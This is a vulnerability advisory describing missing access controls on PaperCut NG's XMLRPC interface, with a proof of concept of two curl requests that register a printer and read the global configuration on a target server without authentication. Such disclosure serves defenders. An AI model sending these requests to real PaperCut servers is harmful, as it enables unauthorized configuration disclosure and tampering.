Synopsis
Insufficient access controls for XMLRPC operations exist in PaperCut NG. Versions 22.0.12 and earlier are confirmed vulnerable. Later versions may also be affected due to lack of a vendor-supplied patch.
Access to XMLPRC operations in PaperCut NG are controlled by various allowed IP lists. By default many allowed IP lists (i.e., auth.providers.allowed-addresses) are configured to be a wildcard, which allows an unauthenticated remote attacker to issue XMLPRC calls.
Proof of Concept
// Add a printer; check if added printer shows up in the web UI
# curl -k -H 'Content-Type:text/xml' -d '<?xml version="1.0"?><methodCall><methodName>print-provider.registerPrinter</methodName><params><param><value><string>serverName</string></value></param><param><value><string>printerName</string></value></param><param><value><string>printerLocation</string></value></param></params></methodCall>' 'https://[target]:9192/rpc/providers/xmlrpc'
// Get configuration
# curl -k -H 'Content-Type:text/xml' -d '<?xml version="1.0"?><methodCall><methodName>client.getGlobalConfig</methodName><params><param><value><string>str1</string></value></param><param><value><string>str2</string></value></param></params></methodCall>' 'https://[target]:9192/rpc/clients/xmlrpc'
Solution
PaperCut's security staff has acknowledged the behavior and possible impacts of this issue, but do not plan to provide a patch. Customers are encouraged to apply any relevant mitigations as recommended by product documentation.
Disclosure Timeline
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